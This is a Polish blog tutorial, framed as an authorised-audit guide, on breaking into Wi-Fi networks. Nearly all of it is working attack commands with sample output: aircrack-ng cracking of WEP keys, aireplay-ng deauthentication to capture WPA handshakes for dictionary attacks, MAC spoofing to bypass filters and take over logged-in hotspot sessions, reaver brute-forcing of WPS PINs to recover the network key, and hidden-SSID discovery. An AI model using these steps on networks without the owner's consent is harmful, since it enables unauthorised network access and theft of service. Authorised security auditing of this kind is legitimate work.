PMA – Część 1 Uzyskiwanie dostępu do sieci bezprzewodowych

Podane poniżej informacje służą tylko i wyłącznie do przeprowadzania
zaplanowanych audytów ze zgodą właściciela lub administratora sieci
którą audytujesz!

Czas na pierwszą część Poradnika Małego Audytora – Łamanie kluczy sieci bezprzewodowych.

1. Wstęp

Sieci bezprzewodowe mogą być Otwarte (bez żadnego szyfrowania), WEP, WPA1/2-Personal, WPA1/2-Enterprise. Dodatkowo sieć może posiadać filtrację adresów mac i brak rozgłaszania SSID.

2. Instalacja oprogramowania

Aktualnie aircrack-ng z którego będziemy korzystać jest aktualnie w debianie tylko w gałęzi sid. Aby go zainstalować mamy dwie możliwości:

2.1. Ręczne pobranie paczki

Pobieramy ze strony: http://packages.debian.org/sid/aircrack-ng paczkę odpowiednią dla naszej architektury. Np. dla amd64:

$ wget http://ftp.pl.debian.org/debian/pool/main/a/aircrack-ng/aircrack-ng_1.1-5_amd64.deb

Następnie instalujemy paczkę. np. prze dpkg

# dpkg - i aircrack-ng_1.1-5_amd64.deb

2.2. Dodajemy repozytorium sid do debiana

Dodajemy na końcu pliku /etc/apt/sources.list

#~~~~~~SiD~~~~~~#
deb http://ftp.pl.debian.org/debian/ sid main

Następnie instalujemy aircrack-ng

# aptitude update
# aptitude install aircrack-ng

3. Ustawienie karty wifi w trybie monitorowania sieci

# ifconfig wlan0 down
# iwconfig wlan0 mode monitor
# ifconfig wlan0 up

4. Wstępne skanowanie

# airodum-ng wlan0

Naszym oczom powinno się ukazać coś takiego:

 CH  5 ][ Elapsed: 1 min ][ 2013-02-06 09:44

 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
 00:11:22:33:44:55  -55      198        0    0   1  54e. WPA2 CCMP   PSK  <length:0>
 11:22:33:44:55:66  -56      206        0    0   1  54e. WPA2 CCMP   MGT  Test
 11:22:33:44:55:67  -56      206        0    0   1  54e. WPA  TKIP   MGT  TEST-2
 11:22:33:44:55:68  -56      206        0    0   1  54e. WEP  WEP         TEST-WEP
 22:33:44:55:66:77  -60      202        0    0   1  54e. OPN              Guests

 BSSID              STATION            PWR   Rate    Lost  Packets  Probes 
 (not associated)   00:00:00:11:11:11  -43    0 - 1      0       26
 00:11:22:33:44:55  aa:bb:cc:dd:ee:ff  -73    0 - 6     61       82  Guests,Test

W pierwszej tabeli mamy zaznaczone access pointy. Z ważniejszych danych:

  • BSSID – adres mac sieci wifi
  • PWR – moc sygnału
  • ENC – typ zabezpieczeń
    • OPN – Sieć otwarta
    • WEP
    • WPA
    • WPA2
  • CIPHER – typ szyfrowania
    • CCMP – AES
    • TKIP
  • AUTH
    • PSK – WPA1/2 Personal (aka Preshared key)
    • MGT – WPA1/2 Enterprise
  • ESSID – nazwa sieci. Jeżeli wyświetla się <length:0> oznacza to iż ap nie rozsyła nazwy sieci

W drugiej tabeli mamy za to podłączonych użytkowników

  • BSSID – adres mac sieci wifi do której jest podłączony klient
  • STATION – adres mac karty sieciowej
  • Packets – ilość pakietów klienta wifi
  • Probes – nazwy sieci do których próbował się podłączyć klient

Jak znaleźliśmy nasz cel przerywamy polecenie po przez Ctrl+C

5. Czas na łamanie sieci

Nadszedł czas na łamanie dostępu do sieci wifi. Na początku musimy zdecydować do której sieci chcemy się dostać.

5.1. Sieć otwarta

Sieć otwarta nie jest w żaden sposób szyfrowana więc powinniśmy się do niej dostać bez problemu. Czasami przy takich sieciach jest zastosowane „zabezpieczenie” filtracji adresów mac które przedstawiam w dalszej części. Sieci otwarte to są często zablokowane hotspot’y które po otworzeniu przeglądarki proszą o podanie kodu do odblokowania dostępu do internetu. Jednym ze sposobów uzyskania tego dostępu jest zmiana adresu mac na mac użytkownika który się wcześniej zalogował do sieci i zakończył połączenie. Często użytkownicy nie wylogowują się z takich systemów a systemy mają time’outy które mają zapobiegać ciągłym prośbą o zalogowanie się do sieci.

5.2. Sieć WEP, WPA(2)-Presharedkey

Zaczynamy zrzut danych z sieci przy użyciu polecenia

# airodump-ng -c KANAL_SIECI -d BSSID_SIECI -w PLIK_WYNIKOWY wlan0

np.

# airodump-ng -c 1 -d 11:22:33:44:55:68 -w wep wlan0

Teraz czekamy na zebranie jak największej ilości pakietów, im więcej pakietów tym lepiej. Można zacząć crack’ować sieć jak będzie conajmniej 10tyś pakietów. W przypadku WPA są ważne tzw. handshake’i a w przypadku WEP IVs.

5.2.1. WEP

Jeżeli zebraliśmy 10tyś pakietów przystępujemy do łamania kluczy, nie musimy w tym czasie przerywać działania nasłuchu. W nowym terminalu wpisujemy:

$ aircrack-ng PLIK_WYNIKOWY-01.cap

Jeżeli uda się znaleźć klucz na ekranie pojawi się coś takiego:

KEY FOUND! [ 71:77:65:72:74 ] (ASCII: qwert )

Jeżeli klucz jest zapisany w formie hexadecymalnej który nie ma reprezentaji w ASCII to nie wyświetli się on nam w formie czytelnej dla człowieka.

5.2.2. WPA

Aby wymusić handshake na kliencie po przez rozłączenie go z Access Point’em nalezy użyć polecenia aireplay-ng które nie działa na niektórych kartach sieciowych.

# aireplay-ng -0 1 -a BSSID_AP -c MAC_KLIENTA wlan0

np.

# aireplay-ng -0 1 -a 11:22:33:44:55:68 -c aa:bb:cc:dd:ee:ff wlan0

Jeżeli udało nam się zebrać chociaż jeden handshake wpisujemy polecenie:

$ aircrack-ng PLIK_WYNIKOWY-01.cap -w slownik.list

aircrack obsługuje łamanie kluczy tylko przy użyciu słownika z pliku (w tym przypadku slownik.list). W późniejszym poradniku podam informację jak obsłużyć łamanie klucza wifi przy pomocy hashCat’a.

5.3. Sieć WPA(2)-Enterprise

Dla sieci WPA(2)-Enterprise nie ma aktualnie sposobu na złamanie kluczy dostępowych.

6. Filtracja adresów mac

Czasami może się przytrafić dodatkowe „zabezpieczenie” po przez filtrację adresów mac. W takim przypadku wracamy do punktu 4 gdzie wstępnie skanowaliśmy sieć, w drugiej tabeli gdzie znajdują się informacje o klientach podłączonych do AP. Wybieramy takiego który był podłączony do naszej sieci. Następnie zmieniamy adres mac następującymi poleceniami:

# ifconfig wlan0 down
# ifconfig wlan0 hw ether MAC_KLIENTA
# ifconfig wlan0 up

Informację o podłączonych klientach możemy również znaleźć w pliku PLIK_WYNIKOWY-01.csv

7. Metoda na WPS

Niektóre routery oferują WPS (WPS czyli Wi-Fi Protected Setup) czyli zabezpieczony system konfigurowania klientów wifi. System ten wykorzystuje podanie kodu PIN w celu otrzymania klucza do sieci wifi lub naciśnięcia przycisku na AP.

7.1. WPS Router PIN

Możemy spróbować zdobyć PIN Router’a metodą brutal force przy użyciu reaver’a. reaver jest repozytorium testing i unstable (sid).

# aptitude install reaver

Następnie uruchamiamy program z odpowiednimi parametrami

# reaver -i wlan0 -b BSSID_SIECI -f -vv

np.

# reaver -i wlan0 -b 00:11:22:33:44:55 -f -vv

Program jest niestety niedopracowany i czasami sprawia problemy. Pomogło ustawienie opcji –no-nacks lecz w momencie kiedy znalazł mi PIN WPS nie uzyskał do niego klucza lecz jest na to rozwiązanie.

7.2. Łączenie się z routerem przy pomocy jego kodu PIN

Tworzymy plik /tmp/wpa_supplicant.conf z zawartością:

update_config=1

Następnie uruchamiamy wpa_supplicant z następującymi opcjami:

# wpa_supplicant -iwlan0 -c /tmp/wpa_supplicant.conf -C/tmp/wpa_supplicant.pid -B

Następnie uruchamiamy wpa_cli z następującymi opcjami:

# wpa_cli -p/tmp/wpa_supplicant.pid

W trybie interaktywnym wpisujemy

> wps_reg BSSID_WIFI WPS_PIN

np

> wps_reg 00:11:22:33:44:55 01234567

Po chwili powinien komputer zacząć się łączyć z siecią i powinniśmy ujrzeć takie linijki:

<3>WPS-AP-AVAILABLE 
<3>Trying to associate with 00:11:22:33:44:55 (SSID='Test' freq=2437 MHz)
<3>Associated with 00:11:22:33:44:55
<3>WPA: Key negotiation completed with 00:11:22:33:44:55 [PTK=CCMP GTK=CCMP]
<3>CTRL-EVENT-CONNECTED - Connection to 00:11:22:33:44:55 completed (auth) [id=0 id_str=]

Oznacza to że udało się połączyć z siecią przy użyciu WPS’a. Teraz zapisujemy ustawienia i wychodzimy poleceniami

> save_config
OK
> quit

Ustawienia zostały zapisane w /tmp/wpa_supplicant.conf o zawartości podobnej do tej:

ctrl_interface=/tmp/wpa.pid
update_config=1

network={
 ssid="Test"
 bssid=00:11:22:33:44:55
 psk="abcdefgh"
 proto=RSN
 key_mgmt=WPA-PSK
 pairwise=CCMP
 auth_alg=OPEN
}

Gdzie psk to nasz klucz do sieci. Teraz jeszcze pozostaje zabić proces wpa_supplicant.

# killall wpa_supplicant

7.3. Fizyczne naciśnięcie przycisku

Jeżeli mamy możliwość dostępu fizycznego do access point’a to możemy wcisnąć na nim przycisk w celu uzyskania klucza do sieci. Postępujemy tak samo jak w Punkcie 7.2. lecz zamiast polecenia

> wps_reg 00:11:22:33:44:55 01234567

Używamy polecenia

> wps_pbc

Możemy polecenie uruchomić z BSSID sieci np.

> wps_pbc 00:11:22:33:44:55

8. Ukryty ssid

Zabezpieczenie ukrywania SSID jest zabezpieczeniem kiepskim ponieważ podczas łączenia się klienta ze stacją roboczą przesyła on czystym tekstem SSID AP. Jeżeli spotkaliśmy się z taką siecią aby uzyskać do niej dostęp należy przechwycić pakkiet ReAssoc. Do odczytania zawartości posłużymy się tcpdumpem który można zainstalować tak:

# aptitude install tcpdump

Następnie wykonujemy następujące polecenie

$ tcpdump -r PLIK_WYNIKOWY-01.cap | grep ReAssoc

Dzięki temu powinniśmy otrzymać wynik z SSID sieci:

reading from file PLIK_WYNIKOWY-01.cap, link-type IEEE802_11 (802.11)
07:48:32.764455 ReAssoc Request (Test) AP : 00:11:22:33:44:55 (oui Unknown)
07:48:32.766478 ReAssoc Response AID(1) : PRIVACY : Successful

W nawiasie ReAssoc Recquest jest nasze SSID

9. Problemy

Czasami może wystąpić problem konfliktu z menadżerami sieci. Aby sprawdzić które procesy mogą nam przeszkadzać należy wklepać polecenie:

# airmon-ng check wlan0

Przykładowe wyjście z programu:

Found 4 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!

PID    Name
3570   avachi-daemon
3571   avachi-daemon
3623   NetworkManager
3818   wpa_supplicant

Część z nich to procesy uruchamiane po przez system serwisów i można je wyłączyć po przez polecenie service np.

# service network-manager stop

Jeżeli nie ma takiego serwisu można zabić procesy poleceniem kill np.

# kill 3818

Jedna odpowiedź do “PMA – Część 1 Uzyskiwanie dostępu do sieci bezprzewodowych”

Dodaj komentarz

Twój adres email nie zostanie opublikowany. Pola, których wypełnienie jest wymagane, są oznaczone symbolem *